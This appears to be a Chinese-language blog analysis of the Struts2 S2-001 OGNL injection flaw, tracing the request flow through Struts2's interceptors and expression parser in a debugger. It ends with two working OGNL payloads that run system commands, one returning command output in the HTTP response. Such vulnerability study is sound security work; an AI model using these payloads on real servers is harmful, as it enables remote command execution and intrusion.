JavaStruts2系列-S2-001

0x01 S2-001漏洞复现

漏洞影响范围

WebWork 2.1 (with altSyntax enabled)
WebWork 2.2.0 - WebWork 2.2.5
Struts 2.0.0 - Struts 2.0.8
Struts2对 OGNL 表达式的解析使用了开源组件opensymphony.xwork. 2.0.3所以会有漏洞

流程分析

org.apache.struts2.dispatcher.FilterDispatcher下,在这一个类的doFilter()方法中做了如下业务
设置编码和本地化信息
创建ActionContext对象
分配当前线程的分发器
将request对象进行封装
获取 ActionMapping 对象,ActionMapping 对象对应一个 action 详细配置信息
执行 Action 请求,也就是 172 行的serviceAction()方法
先在 Filter 的doFilter()方法下个断点,开始调试
首先获取当前请求是否已经有ValueStack对象,这样做的目的是在接收到 chain 跳转方式的请求时,可以直接接管上次请求的 action。如果没有 ValueStack 对象,获取当前线程的 ActionContext 对象;如果有 ValueStack 对象,将事先处理好的请求中的参数 put 到 ValueStack 中,获取 ActionMapping 中配置的 namespace,name,method 值
187行这里,跟进serviceAction()方法
通过ActionProxyFactorycreateActionProxy()类初始化一个ActionProxy,在这过程中也会创建StrutsActionProxy的实例。StrutsActionProxy是继承自com.opensymphony.xwork2.DefaultActionProxy的,在这个代理对象内部实际上就持有了DefaultActionInvocation的一个实例
DefaultActionInvocation对象中保存了Action调用过程中需要的一切信息,继续往下走,跟进proxy.execute()
获取到了上下文环境,并且调用setter方式赋值上下文,接着继续跟进invoke()方法
invoke()方法中,首先会顺序的递归执行当前Action中所配置的所有的拦截器,知道拦截器遍历完毕调用真正的Action,此处是一个interceptor迭代器再进行遍历操作,对应遍历的内容是struts2包内的struts-default.xml里面interceptors标签中的内容
在众多迭代器中,param这一个迭代器使用来处理我们输入的参数的,所以会想到,会不会对应的迭代器里就有所谓的 OGNL 表达式的处理呢?跟进去查看一下
这段的大致意思就是,最开始在登陆框中的usernamepassword会被保存到stack 里面,通过ActionContext.getParameters()方法将stack里面的值拿出来,再通过ValueStack.setValue(String,Object)方法把值set进去
接着在后文,它表明了这个类能够处理 OGNL 表达式,并且已经考虑了安全性问题
而此处的迭代器调用栈如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
intercept:155, ServletConfigInterceptor (org.apache.struts2.interceptor)  
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)  
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)  
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)  
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)  
intercept:123, AliasInterceptor (com.opensymphony.xwork2.interceptor)  
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)  
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)  
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)  
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)  
intercept:176, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)  
doProfiling:224, DefaultActionInvocation$2 (com.opensymphony.xwork2)  
doProfiling:223, DefaultActionInvocation$2 (com.opensymphony.xwork2)  
profile:455, UtilTimerStack (com.opensymphony.xwork2.util.profiling)  
invoke:221, DefaultActionInvocation (com.opensymphony.xwork2)  
execute:50, StrutsActionProxy (org.apache.struts2.impl)  
serviceAction:504, Dispatcher (org.apache.struts2.dispatcher)  
doFilter:419, FilterDispatcher (org.apache.struts2.dispatcher)  
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)  
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)  

在一个类中进行了对应的迭代器判断
一直到迭代器为params为止,跟进。跟进之后会到ParameterInterceptor.doIntercept()方法处
跟进到setParameters()方法里面,再从这里面进setValue()方法,为什么要跟进setValue()方法?因为上面的注释中写到了,OGNL 的语句会被送到OgnlValueStack#setValue处进行处理
一直跟进
经历了一系列的迭代器之后,所有迭代器处理完毕了,执行了invokeActionOnly()方法
通过反射调用执行了action实现类里的execute方法,开始处理用户的逻辑信息。
处理完毕用户的逻辑信息之后,我们继续往下走,跟进executeResult()
首先createResult()这里创建了一个Result对象,对应的方法com.opensymphony.xwork2.DefaultActionInvocation#createResult
如果当时调用了Action返回了Result对象,则直接返回;否则,通过proxy对象获取配置信息,根据 resultCode 获取到Result对象。
继续往下走,executeResult()方法中调用了execute()方法;跟进doExecute()
准备执行环境: request, pageContext等等后,发送真正的响应信息,可以看到我们自己配置时候返回结果是 jsp 文件
之后调用了JspServlet来处理请求,在解析标签的时候,在标签的开始和结束位置,会分别调用对应实现类如org.apache.struts2.views.jsp.ComponentTagSupport中的doStartTag()doEndTag(),这里会调用组件org.apache.struts2.components.UIBeanend()方法
跟进evaluateParams()方法
由于altSyntax默认开启了,接下来会调用findValue()方法寻找参数值
继续跟进translateVariables()方法
最终触发点是TextParseUtil#translateVariables,在此处下了断点之后,可以看到依次进入了好几次,不同时候的expression的值都会有所不同,我们找到值为password时开始分析。
经过两次如下的代码之后,将生成 OGNL 表达式,返回了%{password}

1
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);  

然后这次判断不会直接走到return,来到后面,取出%{password}中间的值password赋值给var
然后通过Object o = stack.findValue(var,asType)获得到password的值为%{1+1}
然后重新赋值给 expression,进行下一次循环
在这一次循环的时候,就再次解析了%{1+1}这个OGNL表达式,并将其赋值给了o
最后expression的值就变成了2,不是 OGNL 表达式时就会直接进入

1
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);  

最后返回并显示在表达那种,这是含有 OGNL 表达式的处理,比正常的处理多了OGNL这一部分,所以 Struts2 的运行流程到此结束。

漏洞利用

exp

1
%{(new java.lang.ProcessBuilder(new java.lang.String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})).start()}  

或者

1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","/System/Applications/Calculator.app/Contents/MacOS/Calculator"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}  
0%